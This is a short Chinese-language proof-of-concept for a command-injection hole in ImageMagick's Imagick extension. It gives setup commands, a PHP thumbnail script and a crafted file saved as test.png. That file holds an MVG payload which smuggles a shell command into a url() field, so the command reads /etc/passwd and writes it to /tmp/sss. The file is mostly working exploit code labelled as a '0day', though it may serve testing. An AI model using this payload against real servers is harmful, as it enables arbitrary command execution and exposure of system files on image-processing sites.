用这条命令安装lnmp环境测试
apt-get install nginx mysql-server php5-fpm php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-common php5-mysql php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl php5-memcached memcached
测试脚本,保存为img.php
<?php $img=$argv[1]; $image = new Imagick($img); $image->thumbnailImage(50, 0); //echo $image; $image->writeImage("newwww.png"); ?>
0DAY代码,保存为test.png
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|cat /etc/passwd > /tmp/sss")' pop graphic-context
执行测试
php img.php test.png
ImageMagick 扩展存在漏洞的话会在/tmp生成含有/etc/passwd内容的文件sss.
其他并未测试。